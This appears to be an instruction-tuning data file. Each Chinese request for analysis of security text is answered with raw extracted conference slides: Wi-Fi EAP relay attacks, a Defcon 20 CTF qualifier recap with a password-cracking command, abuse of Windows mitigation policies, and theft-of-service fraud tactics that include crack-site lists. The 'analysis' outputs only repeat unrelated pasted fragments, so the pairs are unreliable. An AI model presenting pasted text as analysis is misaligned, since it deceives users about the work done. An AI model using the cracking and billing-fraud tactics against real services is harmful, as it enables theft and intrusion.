More MitM Makes Mana Mostly Mediate Mischievous Messages @singe @cablethief dominic@sensepost.com michael@sensepost.com Tracking Scenarios Scenario 1 Snoopy Dont go to them Make them come to you Enterprise EAP Networks Scenario 2 EAP association 4-way handshake Server Cert Client Cert EAP Relay with Sycophant By @cablethief association 4-way handshake outer TLS setup MSCHAPv2 challenge MSCHAPv2 response association 4-way handshake outer TLS setup MSCHAPv2 challenge MSCHAPv2 response association outer TLS setup 4-way handshake sycophant Mallory in the Middle Scenario 3 MitM Practise HW-less CTFs https://w1f1.net/ @sensepost @singe @cablethief


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1 清华大学NISL实验室 Blue-Lotus黑客竞赛战队 @清华诸葛建伟 知道Web安全论坛KCON交流 Blue-Lotus战队 Defcon 20 CTF资格赛回顾 Defcon CTF竞赛 2 o 全球最有影响力的黑客竞赛  黑客奥运会 n 1996年开始已成功举办16届 n 组织者DDTek2009-Present o Defcon 20 CTF n Quals  资格赛 o Challenges Solving o 10支队 + 10支其他CTF冠军队 晋级 n Deathmatch  拉斯维加斯 淘汰赛 n Final  决赛 CTF (offense & defense) o Defcon黑客会议现场 梦想中的拉斯维加斯决赛现场 3 Defcon CTF资格赛制 4 o Grag bag 网络分析题 o Urandom 随机题 o Binary l33tness 二进制逆向 分析 o Pwnables 渗透攻击题 o Forensics 取证分析题 o 100-500分 o 第一个解题队 开出下一题 Blue-Lotus蓝莲花战队 o 清华大学网络与信息安全实验室(NISL@TU)参加黑 客竞赛的队名 o 首次参赛2010年12月iCTF10 n 启蒙队disketUGAProf. Kang Li n 首次战绩: 35/72 o iCTF11战绩23/87 n Metasploit原创书大结局场景 5 永不凋零的 蓝莲花 Defcon CTF参赛征集外援帖 6 外援出现了 7 我们的参赛队员分布 8 CTF开赛  6.2 8:30am 9 [Blue-Lotus]清华总部 [Syclover] 成都信息工程学院 [Blue-lotus] 早点&零食区 0.01h  旗开得分 o Grab Bag 100: Hack the planet_ o 2006: Hack the ______ o 2007: ____ the planet o 2008: Hack ___ planet o 2011: ____ ___ ______. o 2012: Hack the planet_ 10 G100 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/04/693 0.01h  旗开得分 (Hack the planet经典台词的电影-Hacker) 11 0.5h - 梦幻开局, 200分, 并列第1 12 o Urandom 100: n How many developers;) did it take to secure Windows 8? o 当时解题思路 n Google Windows 8发布会视频 - 是否微软某 高管提到Win8安全开发团队人数 n 平均团队规模60-70人人肉暴力猜解1-100未果 o 最终解决程序暴力猜解-答案152 n Slow Down?!! o Why 152? (注意developers后面的奸笑) U100 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/05/719 悲催的零分八小时  p100 o p100: MIPS指令架构远程栈溢出 n 很快fuzz出漏洞点和缓冲区长度 n 搭环境本地动态调试Qemu + Linux-mips n 缓冲区地址覆盖返回地址一直变化ASLR o 指向堆栈的寄存器一直未找到放弃 o 解答关键利用binary中的write()探测出缓冲区地址 o 不足 n 对非主流平台与环境的不熟悉学习MIPS指令 搭环境花了很多时间 n 思维定势jmp esp指向栈空间绕过ASLR 13 P100 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/04/709 悲催的零分八小时  b100 o Binary l33tness 100: 给一个binaryrecover my key n 一个加密mac.h一个sshd一个ssh n Google: skynet ssh backdoor n mac.h后门记录日志文件解密xor 0xff 14 这个Key曾经不是 Key?!!! B100 Writeup: http://wcf1987.iteye.com/blog/1550530 悲催的零分八小时  b100 (cond) 15 o 眼皮底下视而不见的key谁也没有想到这就是key 这个Key据说是曾 经的Key?!!! b100受骗中 16 ./john /root/ Desktop/ hash.txt Ali: 真的是破解crypt ()的明文后门密码吗 就凭我的小Air40小 时能破出来吗 insi


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

剑走偏锋 蓝军实战缓解措施滥用 # Whoami  @askme765cs  安全研究员@绿盟科技  M01N战队核心成员  专注系统安全与终端对抗 目录 CONTENTS 01 02 03 Mitigations 101 Red Team Operation "Mitigation Hell" Part 01 Mitigations 101 01 Why Mitigations? 漏洞利用两种常见路径  数据破坏  代码执行 利用过程中的动作与特征  修改代码段  加载DLL  创建新进程   Mitigations的效用  截断利用链削减机会窗口  对抗未知威胁与潜在攻击 02 Mitigations Timeline  ASLR  DEP  SafeSEH  SEHOP  CFG  CIG  ACG  Child Process Policy  CFG Strict Mode  CFG Export Suppression  NoLowMandatoryLabelImages   Pre-Win10 TH1 RS1 RS2 RS3 + 03 Code intergerity guard-CIG  Windows 10 TH2 (1511)引入  阻止恶意DLL注入受保护应用程序  对加载DLL的签名进行验证  仅允许可信签名的DLL加载  MicrosoftSignedOnly  StoreSignedOnly  内核主要检查代码位于 MiValidateSectionSigningPolicy  受影响的API NtCreateSection 04 Arbitrary code guard-ACG  Windows 10 RS1 (1607)引入  贯彻WX原则  禁止修改已有代码(X)修改为可写(W)  禁止修改可写数据(W)修改为可执行(X)  禁止分配或映射新的可执行内存  内核主要检查代码位于 MiAllowProtectionChange MiMapViewOfSection  受影响的API NtAllocateVirtualMemory NtProtectVirtualMemory NtMapViewOfSection(SEC_IMAGE/SEC_FILE) Arbitrary code guard-ACG 05  用户态API  VirtualAlloc with PAGE_EXECUTE_*  VirtualProtect with PAGE_EXECUTE_*  MapViewOfFile with FILE_MAP_EXECUTE | FILE_MAP_WRITE  SetProcessValidCallTargets for CFG Boundary of ACG 06  只能限制程序本身不能阻止其他程序对其的修改  开启AllowRemoteDowngrade则可通过其他程序关闭ACG 08 Mitigation Flags-EPROCESS ULONG FlagsFlags2Flags3Flags4 ULONG MitigationFlagsMitigationFlags2 09 Mitigation Policy-注册表 设置指定名称\路径程序的Mitigation Policy-IFEO  HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\  MitigationOptions:REG_BINARY 系统全局Mitigation Policy  HKLM\System\CurrentControlSet\Control\Session Manager\kernel\  MitigationOptions:REG_BINARY 10 Mitigation Policy-注册表 11 Mitigation Policy-Powershell 查看程序Mitigation Policy(从程序读取)  Get-ProcessMitigation Running Name notepad.exe 查看程序Mitigation Policy(从注册表读取)  Get-ProcessMitigation -Name notepad.exe 设置程序Mitigation Policy(写入注册表)  Set-ProcessMitigation -Name notepad.exe -Enable MicrosoftSignedOnly 12 13 系统设置  设置系统全局Mitiation Policy  CFGDEP强制ASLR等 程序设置  设置单个程序Mitigation Policy  图


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Theft Of Service Attacks Subscription Service & Website Vulnerabilities Presented at Defcon 11 by: Robert Sheehy rjs@zendtech.com Zendtech Services www.zendtech.com Presentation updates are available at: http://www.zendtech.com/defcon11/tos Theft Of Service Attacks What Are Theft Of Service Attacks?  Application Level Attack  Attacker Gains Increased Access To Restricted or Limited Resources  Opportunistic Attack  Typically does not result in system administration access. Example Targets for TOS Attack  Software Registrations & Downloads  Adult Web Sites  Web Hosting Accounts  Proxy/Anonymity Services  Dial-up Internet Service  Email/Usenet Service  Shell Accounts  Financial News Services  Domain Name Registrations What Is Stolen?  Increase access to a service providers systems (Shell Accounts)  Avoidance Of DNS Registration Fees  Usenet Access  Dial-up Internet Access  Web hosting (for data piracy & pornography storage, e-mail spamming, ect...)  Increased Access to restricted content  Software Security Holes Commonly Used for ToS attacks  Instant Account Creation Vulnerabilities  Subscription Data In HTML Forms  Authentication data stored in user cookies  Paypal Subscription Payments  Application, Server & or Operation System specific vulnerability exploits. Obscuring The Attack  Putting in the order during a holiday weekend Backlog of orders from a long holiday weekend may result in less attention to order details Even if there is human review, the attack might be overlooked during high sales volume Who Is The Attacker?  A Technically Savvy Customer.  A Competitor.  An e-mail spammer or other criminal.  Someone looking for a deal.  A legitimate customers friend. Theft of Service Attack Types  Software Copy Protection Circumvention  Abuse Of A Legitimate Account  Bypassing the Billing System  User defined changes to the subscription terms or price. Copy Protection Circumvention  Cracks & Serial Number Websites www.astalavista.box.sk www.cracks.am www.cerials.net ww